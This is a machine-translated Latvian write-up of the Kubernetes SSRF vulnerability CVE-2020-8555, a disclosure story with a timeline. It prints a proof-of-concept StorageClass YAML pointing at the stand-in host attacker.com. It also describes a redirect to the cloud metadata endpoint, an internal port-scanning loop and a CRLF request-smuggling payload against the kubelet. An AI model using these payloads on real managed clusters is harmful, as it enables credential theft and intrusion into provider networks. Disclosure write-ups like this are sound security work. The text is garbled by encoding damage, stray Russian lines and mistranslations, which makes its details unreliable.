Ja runa nav tikai par Kubernetes ievainojamību...

PiezÄ«me. tulk.: Ŕī raksta autori detalizēti stāsta par to, kā viņiem izdevās atklāt ievainojamÄ«bu CVE-2020-8555 in Kubernetes. Lai gan sākotnēji tas neŔķita Ä«paÅ”i bÄ«stams, kombinācijā ar citiem faktoriem tā kritiskums dažiem mākoņa pakalpojumu sniedzējiem izrādÄ«jās maksimālais. Vairākas organizācijas dāsni apbalvoja speciālistus par ieguldÄ«to darbu.

Ja runa nav tikai par Kubernetes ievainojamību...

Kas mēs esam

Mēs esam divi franču droŔības pētnieki, kuri kopÄ«gi atklāja ievainojamÄ«bu Kubernetes. MÅ«su vārdi ir Brice Augras un Christophe Hauquiert, bet daudzās Bug Bounty platformās mēs esam attiecÄ«gi pazÄ«stami kā Reeverzax un Hach:

Kas notika?

Å is raksts ir mÅ«su veids, kā pastāstÄ«t, kā parasts pētniecÄ«bas projekts negaidÄ«ti izvērtās par aizraujoŔāko piedzÄ«vojumu kļūdu mednieku dzÄ«vē (vismaz pagaidām).

Kā jÅ«s droÅ”i vien zināt, kļūdu medniekiem ir dažas ievērojamas funkcijas:

  • viņi dzÄ«vo no picas un alus;
  • viņi strādā, kad visi pārējie guļ.

Mēs neesam izņēmums no Å”iem noteikumiem: mēs parasti tiekamies nedēļas nogalēs un pavadām bezmiega naktis, uzlaužot. Taču viena no Ŕīm naktÄ«m beidzās ļoti neparasti.

Sākotnēji mēs plānojām tikties, lai pārrunātu dalÄ«bu CTF nākoÅ”ajā dienā. Sarunas laikā par Kubernetes droŔību pārvaldÄ«tā servisa vidē atcerējāmies veco ideju par SSRF (Servera puses pieprasÄ«juma viltoÅ”ana) un nolēma mēģināt to izmantot kā uzbrukuma skriptu.

11:XNUMX mēs apsēdāmies, lai veiktu pētÄ«jumu un agri no rÄ«ta devāmies gulēt, ļoti apmierināti ar rezultātiem. TieÅ”i Ŕī pētÄ«juma dēļ mēs saskārāmies ar MSRC Bug Bounty programmu un nonācām pie privilēģiju eskalācijas izmantoÅ”anas.

Pagāja vairākas nedēļas/mēneÅ”i, un mÅ«su negaidÄ«tais rezultāts bija viens no augstākajiem balvām Azure Cloud Bug Bounty vēsturē - papildus tai, ko saņēmām no Kubernetes!

Pamatojoties uz mÅ«su pētniecÄ«bas projektu, Kubernetes produktu droŔības komiteja publicēja CVE-2020-8555.

Tagad vēlos pēc iespējas plaŔāk izplatÄ«t informāciju par atrasto ievainojamÄ«bu. Mēs ceram, ka novērtēsiet atradumu un dalÄ«sieties tehniskajā detaļā ar citiem infosec kopienas dalÄ«bniekiem!

Tātad, lūk, mūsu stāsts...

Konteksts

Lai pēc iespējas labāk saprastu notikuÅ”o, vispirms apskatÄ«sim, kā Kubernetes darbojas mākoņa pārvaldÄ«tā vidē.

Kad Ŕādā vidē izveidojat Kubernetes klasteru, par pārvaldÄ«bas slāni parasti atbild mākoņpakalpojumu sniedzējs.

Ja runa nav tikai par Kubernetes ievainojamību...
Kontroles slānis atrodas mākoņa nodroÅ”inātāja perimetrā, savukārt Kubernetes mezgli atrodas klienta perimetrā

Lai dinamiski pieŔķirtu apjomus, tiek izmantots mehānisms, kas tos dinamiski nodroÅ”ina no ārējās krātuves aizmugursistēmas un salÄ«dzina ar PVC (pastāvÄ«ga apjoma pretenzija, t.i., sējuma pieprasÄ«jums).

Tādējādi pēc tam, kad PVC ir izveidots un saistÄ«ts ar StorageClass K8s klasterÄ«, turpmākās darbÄ«bas, lai nodroÅ”inātu skaļumu, pārņem kube/mākoņa kontrollera pārvaldnieks (tā precÄ«zais nosaukums ir atkarÄ«gs no izlaiduma). (PiezÄ«me. tulk.: Mēs jau rakstÄ«jām vairāk par CCM, izmantojot tā ievieÅ”anas piemēru vienam no mākoņpakalpojumu sniedzējiem Å”eit.)

Ir vairāki nodroŔinātāju veidi, kurus atbalsta Kubernetes: lielākā daļa no tiem ir iekļauti orķestratora kodols, savukārt citus pārvalda papildu nodroŔinātāji, kas ir ievietoti klastera apvidos.

MÅ«su pētÄ«jumā mēs koncentrējāmies uz iekŔējo apjoma nodroÅ”ināŔanas mehānismu, kas ir parādÄ«ts zemāk:

Ja runa nav tikai par Kubernetes ievainojamību...
Sējumu dinamiska nodroÅ”ināŔana, izmantojot iebÅ«vēto Kubernetes nodroÅ”inātāju

ÄŖsāk sakot, kad Kubernetes tiek izvietots pārvaldÄ«tā vidē, kontroliera pārvaldnieks ir mākoņpakalpojuma sniedzēja atbildÄ«ba, bet apjoma izveides pieprasÄ«jums (numurs 3 diagrammā iepriekÅ”) atstāj mākoņa nodroÅ”inātāja iekŔējo tÄ«klu. Un Å”eit lietas kļūst patieŔām interesantas!

DatorurÄ·Ä“Å”anas scenārijs

Å ajā sadaļā mēs paskaidrosim, kā mēs izmantojām iepriekÅ” minētās darbplÅ«smas priekÅ”rocÄ«bas un piekļuvām mākoņpakalpojumu sniedzēja iekŔējiem resursiem. Tas arÄ« parādÄ«s, kā varat veikt noteiktas darbÄ«bas, piemēram, iegÅ«t iekŔējos akreditācijas datus vai palielināt privilēģijas.

Viena vienkārÅ”a manipulācija (Å”ajā gadÄ«jumā Service Side Request Forgery) palÄ«dzēja iziet ārpus klienta vides, veidojot dažādu pakalpojumu sniedzēju klasterus pārvaldÄ«tajos K8.

MÅ«su pētÄ«jumā mēs koncentrējāmies uz GlusterFS nodroÅ”inātāju. Neskatoties uz to, ka Å”ajā kontekstā ir aprakstÄ«ta turpmākā darbÄ«bu secÄ«ba, Quobyte, StorageOS un ScaleIO ir pakļauti vienai un tai paÅ”ai ievainojamÄ«bai.

Ja runa nav tikai par Kubernetes ievainojamību...
Dinamiskā apjoma nodroŔināŔanas mehānisma ļaunprātīga izmantoŔana

GlabāŔanas klases analÄ«zes laikā GlusterFS Golang klienta pirmkodā mēs pamanÄ«jupirmajā HTTP pieprasÄ«jumā (3), kas nosÅ«tÄ«ts sējuma izveides laikā, lÄ«dz parametra pielāgotā URL beigām resturl ir pievienots /volumes.

Mēs nolēmām atbrÄ«voties no Ŕī papildu ceļa, pievienojot # parametrā resturl. Å Ä« ir pirmā YAML konfigurācija, ko izmantojām, lai pārbaudÄ«tu daļēji aklu SSRF ievainojamÄ«bu (jÅ«s varat lasÄ«t vairāk par daļēji aklu vai pusaklu SSRF, piemēram, Å”eit ā€” apm. tulk.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Pēc tam mēs izmantojām bināro failu, lai attālināti pārvaldÄ«tu Kubernetes klasteru kubectl. Parasti mākoņa pakalpojumu sniedzēji (Azure, Google, AWS utt.) ļauj iegÅ«t akreditācijas datus lietoÅ”anai Å”ajā utilÄ«tprogrammā.

Pateicoties tam, es varēju izmantot savu ā€œÄ«paÅ”oā€ failu. Kube-controller-manager izpildÄ«ja iegÅ«to HTTP pieprasÄ«jumu:

kubectl create -f sc-poc.yaml

Ja runa nav tikai par Kubernetes ievainojamību...
Atbilde no uzbrucēja viedokļa

Neilgi pēc tam mēs arÄ« varējām saņemt HTTP atbildi no mērÄ·a servera, izmantojot komandas describe pvc vai get events in kubectl. Un patieŔām: Å”is noklusējuma Kubernetes draiveris savos brÄ«dinājumos/kļūdu ziņojumos ir pārāk precÄ«zs...

Šeit ir piemērs ar saiti uz https://www.google.friestatīt kā parametru resturl:

kubectl describe pvc poc-ssrf
# ŠøŠ»Šø Š¶Šµ Š¼Š¾Š¶ŠµŃ‚Šµ Š²Š¾ŃŠæŠ¾Š»ŃŒŠ·Š¾Š²Š°Ń‚ŃŒŃŃ kubectl get events

Ja runa nav tikai par Kubernetes ievainojamību...

Å ajā pieejā mēs aprobežojāmies ar tādiem vaicājumiem kā HTTP POST un nevarēja iegÅ«t atbildes pamatteksta saturu, ja atgrieÅ”anas kods bija 201. Tāpēc mēs nolēmām veikt papildu izpēti un paplaÅ”inājām Å”o uzlauÅ”anas scenāriju ar jaunām pieejām.

Mūsu pētījuma attīstība

  • 1. izvērstais scenārijs: 302. novirzÄ«Å”anas izmantoÅ”ana no ārēja servera, lai mainÄ«tu HTTP metodi, lai nodroÅ”inātu elastÄ«gāku iekŔējo datu vākÅ”anas veidu.
  • 2. izvērstais scenārijs: automatizējiet LAN skenÄ“Å”anu un iekŔējo resursu atraÅ”anu.
  • 3. izvērsts scenārijs: HTTP CRLF + kontrabandas izmantoÅ”ana (ā€œpieprasÄ«juma kontrabandaā€), lai izveidotu pielāgotus HTTP pieprasÄ«jumus un izgÅ«tu datus, kas iegÅ«ti no kube kontrollera žurnāliem.

Tehniskās specifikācijas

  • PētÄ«jumā tika izmantots Azure Kubernetes pakalpojums (AKS) ar Kubernetes versiju 1.12 Ziemeļeiropas reÄ£ionā.
  • IepriekÅ” aprakstÄ«tie scenāriji tika izpildÄ«ti jaunākajos Kubernetes laidienos, izņemot treÅ”o scenāriju, jo viņam vajadzēja Kubernetes, kas uzbÅ«vēts ar Golang versiju ā‰¤ 1.12.
  • Uzbrucēja ārējais serveris ā€” https://attacker.com.

1. izvērstais scenārijs: HTTP POST pieprasÄ«juma novirzÄ«Å”ana uz GET un sensitÄ«vu datu saņemÅ”ana

Sākotnējā metode tika uzlabota ar uzbrucēja servera konfigurāciju, lai atgrieztos 302 HTTP Retcodelai pārvērstu POST pieprasÄ«jumu par GET pieprasÄ«jumu (diagrammas 4. darbÄ«ba):

Ja runa nav tikai par Kubernetes ievainojamību...

Pirmais pieprasÄ«jums (3) nāk no klienta GlusterFS (Controller Manager), ir POST tips. Veicot Ŕīs darbÄ«bas, mēs to varējām pārvērst par GET:

  • Kā parametrs resturl StorageClass tas ir norādÄ«ts http://attacker.com/redirect.php.
  • Beigu punkts https://attacker.com/redirect.php atbild ar 302 HTTP statusa kodu ar Ŕādu atraÅ”anās vietas galveni: http://169.254.169.254. Tas var bÅ«t jebkurÅ” cits iekŔējais resurss - Å”ajā gadÄ«jumā novirzÄ«Å”anas saite tiek izmantota tikai kā piemērs.
  • Pēc noklusējuma net/http bibliotēka Golang novirza pieprasÄ«jumu un pārvērÅ” POST par GET ar statusa kodu 302, kā rezultātā tiek nosÅ«tÄ«ts HTTP GET pieprasÄ«jums mērÄ·a resursam.

Lai izlasītu HTTP atbildes pamattekstu, kas jums jādara describe PVC objekts:

kubectl describe pvc xxx

Šis ir HTTP atbildes piemērs JSON formātā, ko varējām saņemt:

Ja runa nav tikai par Kubernetes ievainojamību...

Atrastās ievainojamÄ«bas iespējas tajā laikā bija ierobežotas Ŕādu punktu dēļ:

  • Nespēja ievietot HTTP galvenes izejoÅ”ajā pieprasÄ«jumā.
  • Nespēja izpildÄ«t POST pieprasÄ«jumu ar parametriem pamattekstā (tas ir ērti pieprasÄ«t atslēgas vērtÄ«bu no etcd instances, kas darbojas 2379 ports, ja tiek izmantots neÅ”ifrēts HTTP).
  • Nespēja izgÅ«t atbildes pamatteksta saturu, ja statusa kods bija 200 un atbildei nebija JSON satura tipa.

2. izvērstais scenārijs: lokālā tÄ«kla skenÄ“Å”ana

Pēc tam Ŕī pusaklā SSRF metode tika izmantota, lai, pamatojoties uz atbildēm, skenētu mākoņpakalpojumu sniedzēja iekŔējo tÄ«klu un aptaujātu dažādus klausÄ«Å”anās pakalpojumus (metadatu instance, Kubelet utt.). kube kontrolieris.

Ja runa nav tikai par Kubernetes ievainojamību...

Vispirms tika noteikti Kubernetes komponentu standarta klausÄ«Å”anās porti (8443, 10250, 10251 utt.), un pēc tam mums bija jāautomatizē skenÄ“Å”anas process.

Redzot, ka Ŕī resursu skenÄ“Å”anas metode ir ļoti specifiska un nav saderÄ«ga ar klasiskajiem skeneriem un SSRF rÄ«kiem, mēs nolēmām izveidot savus darbiniekus bash skriptā, kas automatizē visu procesu.

Piemēram, lai ātri skenētu iekŔējā tÄ«kla diapazonu 172.16.0.0/12, paralēli tika palaisti 15 darbinieki. IepriekÅ” minētais IP diapazons ir izvēlēts tikai kā piemērs un var tikt mainÄ«ts atkarÄ«bā no jÅ«su konkrētā pakalpojumu sniedzēja IP diapazona.

Lai skenētu vienu IP adresi un vienu portu, jums jāveic Ŕādas darbÄ«bas:

  • dzēst pēdējo pārbaudÄ«to StorageClass;
  • noņemt iepriekŔējo pārbaudÄ«to pastāvÄ«go apjoma pretenziju;
  • mainiet IP un porta vērtÄ«bas sc.yaml;
  • izveidot StorageClass ar jaunu IP un portu;
  • izveidot jaunu PVC;
  • izņemiet skenÄ“Å”anas rezultātus, izmantojot PVC aprakstu.

3. izvērstais scenārijs: CRLF injekcija + HTTP kontrabanda Kubernetes klastera ā€œvecajāsā€ versijās

Ja papildus tam pakalpojumu sniedzējs klientiem piedāvāja vecās K8s klastera versijas Šø deva viņiem piekļuvi kube-controller-manager žurnāliem, efekts kļuva vēl nozÄ«mÄ«gāks.

Uzbrucējam patieŔām ir daudz ērtāk mainÄ«t HTTP pieprasÄ«jumus, kas paredzēti, lai pēc saviem ieskatiem iegÅ«tu pilnu HTTP atbildi.

Ja runa nav tikai par Kubernetes ievainojamību...

Lai Ä«stenotu pēdējo scenāriju, bija jāizpilda Ŕādi nosacÄ«jumi:

  • Lietotājam ir jābÅ«t piekļuvei kube-controller-manager žurnāliem (kā, piemēram, Azure LogInsights).
  • Kubernetes klasterim ir jāizmanto Golang versija, kas ir vecāka par 1.12.

Mēs izvietojām lokālo vidi, kas simulēja komunikāciju starp GlusterFS Go klientu un viltotu mērÄ·a serveri (mēs pagaidām atturēsimies no PoC publicÄ“Å”anas).

Tika atrasts ievainojamība, kas ietekmē Golang versijas, kas ir vecākas par 1.12, un ļauj hakeriem veikt HTTP kontrabandas/CRLF uzbrukumus.

Apvienojot iepriekÅ” aprakstÄ«to pusaklo SSRF Š²Š¼ŠµŃŃ‚Šµ ar to mēs varējām nosÅ«tÄ«t pieprasÄ«jumus pēc saviem ieskatiem, tostarp nomainÄ«t galvenes, HTTP metodi, parametrus un datus, kurus pēc tam apstrādāja kube kontroliera pārvaldnieks.

Å eit ir parādÄ«ts parametrā strādājoÅ”as ā€œÄ“smasā€ piemērs resturl StorageClass, kas Ä«steno lÄ«dzÄ«gu uzbrukuma scenāriju:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Rezultāts ir kļūda nevēlama atbilde, ziņojums par kuru tiek ierakstīts kontrollera žurnālos. Pateicoties pēc noklusējuma iespējotai daudzvārdībai, tur tiek saglabāts arī HTTP atbildes ziņojuma saturs.

Ja runa nav tikai par Kubernetes ievainojamību...

Å Ä« bija mÅ«su visefektÄ«vākā ā€œÄ“smaā€ koncepcijas pierādÄ«juma ietvaros.

Izmantojot Å”o pieeju, mēs varējām veikt dažus no Å”iem uzbrukumiem dažādu pārvaldÄ«tu k8s nodroÅ”inātāju klasteriem: privilēģiju eskalācija ar akreditācijas datiem metadatu gadÄ«jumos, galvenais DoS, izmantojot (neÅ”ifrētus) HTTP pieprasÄ«jumus etcd galvenajos gadÄ«jumos utt.

efekti

Kubernetes oficiālajā paziņojumā par mūsu atklāto SSRF ievainojamību tā tika novērtēta CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Ja ņemam vērā tikai ievainojamību, kas saistīta ar Kubernetes perimetru, integritātes vektoru (integritātes vektors) tas kvalificējas kā neviens.

Tomēr, novērtējot iespējamās sekas pārvaldÄ«tas pakalpojumu vides kontekstā (un Ŕī bija mÅ«su pētÄ«juma visinteresantākā daļa!), mÅ«s mudināja pārklasificēt ievainojamÄ«bu par vērtējumu. Kritiskais CVSS10/10 daudziem izplatÄ«tājiem.

Tālāk ir sniegta papildu informācija, kas palīdzēs jums izprast mūsu apsvērumus, novērtējot iespējamo ietekmi mākoņa vidē.

Integritāte

  • Izpildiet komandas attālināti, izmantojot iegÅ«tos iekŔējos akreditācijas datus.
  • IepriekÅ” minētā scenārija reproducÄ“Å”ana, izmantojot metodi IDOR (nedroÅ”a tieŔā objekta atsauce) ar citiem resursiem, kas atrodami vietējā tÄ«klā.

Konfidencialitāte

  • Uzbrukuma veids Sānu kustÄ«ba pateicoties mākoņa akreditācijas datu zādzÄ«bai (piemēram, metadatu API).
  • Informācijas vākÅ”ana, skenējot lokālo tÄ«klu (nosakot SSH versiju, HTTP servera versiju, ...).
  • Apkopojiet informāciju par gadÄ«jumu un infrastruktÅ«ru, aptaujājot iekŔējās API, piemēram, metadatu API (http://169.254.169.254,ā€¦).
  • Klientu datu zagÅ”ana, izmantojot mākoņa akreditācijas datus.

Pieejamība

Visi ekspluatācijas scenāriji, kas saistīti ar uzbrukuma vektoriem integritāte, var izmantot destruktīvām darbībām un novest pie tā, ka galvenās instances no klienta perimetra (vai jebkura cita) nav pieejamas.

Tā kā mēs atradāmies pārvaldÄ«tā K8 vidē un novērtējām ietekmi uz integritāti, varam iedomāties daudzus scenārijus, kas varētu ietekmēt pieejamÄ«bu. Papildu piemēri ietver etcd datu bāzes sabojāŔanu vai kritisku Kubernetes API izsaukumu.

Laika skala

  • 6. gada 2019. decembris: MSRC Bug Bounty tika ziņots par ievainojamÄ«bu.
  • 3. gada 2020. janvāris: treŔā puse informēja Kubernetes izstrādātājus, ka mēs strādājam pie droŔības problēmas. Un lÅ«dza viņus uzskatÄ«t SSRF par iekŔēju (iekŔējo) ievainojamÄ«bu. Pēc tam mēs sniedzām vispārÄ«gu ziņojumu ar tehnisku informāciju par problēmas avotu.
  • 15. gada 2020. janvāris: mēs nodroÅ”inājām tehniskos un vispārÄ«gos ziņojumus Kubernetes izstrādātājiem pēc viņu pieprasÄ«juma (izmantojot platformu HackerOne).
  • 15. gada 2020. janvāris: Kubernetes izstrādātāji mÅ«s informēja, ka pusaklā SSRF + CRLF injekcija iepriekŔējiem laidieniem tiek uzskatÄ«ta par galveno ievainojamÄ«bu. Mēs nekavējoties pārtraucām citu pakalpojumu sniedzēju perimetru analÄ«zi: K8s komanda tagad nodarbojās ar galveno cēloni.
  • 15. gada 2020. janvāris: MSRC atlÄ«dzÄ«ba saņemta, izmantojot HackerOne.
  • 16. gada 2020. janvāris: Kubernetes PSC (Produktu droŔības komiteja) atzina ievainojamÄ«bu un lÅ«dza to paturēt noslēpumā lÄ«dz marta vidum, ņemot vērā lielo potenciālo upuru skaitu.
  • 11. gada 2020. februāris: saņemta Google VRP atlÄ«dzÄ«ba.
  • 4. gada 2020. marts: Kubernetes atlÄ«dzÄ«ba saņemta, izmantojot HackerOne.
  • 15. gada 2020. marts: sākotnēji plānotā publiskoÅ”ana tika atlikta Covid-19 situācijas dēļ.
  • 1. gada 2020. jÅ«nijs: Kubernetes un Microsoft kopÄ«gs paziņojums par ievainojamÄ«bu.

TL; DR

  • Dzeram alu un ēdam picu :)
  • Mēs atklājām Kubernetes iekŔējo ievainojamÄ«bu, lai gan mums nebija nodoma to darÄ«t.
  • Mēs veicām papildu analÄ«zi dažādu mākoņpakalpojumu sniedzēju klasteriem un varējām palielināt ievainojamÄ«bas radÄ«to kaitējumu, lai saņemtu papildu satriecoÅ”us bonusus.
  • Å ajā rakstā jÅ«s atradÄ«sit daudz tehnisko informāciju. Mēs labprāt tos apspriestu ar jums (Twitter: @ReeverZax & @__hach_).
  • IzrādÄ«jās, ka visu veidu formalitāŔu kārtoÅ”ana un ziņoÅ”ana prasÄ«ja daudz ilgāku laiku, nekā bija paredzēts.

atsauces

PS no tulka

Lasi arī mūsu emuārā:

Avots: www.habr.com

Pievieno komentāru